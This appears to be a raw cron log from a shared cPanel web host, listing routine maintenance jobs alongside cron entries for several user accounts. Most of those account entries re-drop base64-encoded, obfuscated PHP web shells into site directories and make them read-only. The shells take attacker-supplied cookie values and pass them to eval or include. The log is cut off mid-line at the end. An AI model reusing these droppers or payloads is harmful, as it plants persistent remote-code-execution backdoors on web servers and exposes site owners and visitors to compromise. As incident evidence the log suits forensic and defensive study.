Apr 19 08:53:01 medusa CROND[18214]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:53:02 medusa CROND[18220]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:53:02 medusa CROND[18221]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Apr 19 08:53:02 medusa CROND[18227]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:53:02 medusa CROND[18228]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:53:02 medusa CROND[18230]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:53:02 medusa CROND[18232]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:53:02 medusa CROND[18233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:53:02 medusa CROND[18235]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:53:02 medusa CROND[18237]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:53:02 medusa CROND[18238]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:53:02 medusa CROND[18243]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:54:01 medusa CROND[8954]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 08:54:01 medusa CROND[9076]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 08:54:01 medusa CROND[9077]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:54:01 medusa CROND[9078]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:54:01 medusa CROND[9080]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 08:54:01 medusa CROND[9081]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 08:54:01 medusa CROND[9082]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 08:54:01 medusa CROND[9093]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:54:01 medusa CROND[9095]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 08:54:01 medusa CROND[9096]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:54:01 medusa CROND[9097]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:54:01 medusa CROND[9100]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 08:54:01 medusa CROND[9099]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 08:55:01 medusa CROND[697]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 08:55:01 medusa CROND[737]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 08:55:02 medusa CROND[829]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 08:55:02 medusa CROND[831]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 08:55:02 medusa CROND[832]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 19 08:55:02 medusa CROND[830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 08:55:02 medusa CROND[833]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVsk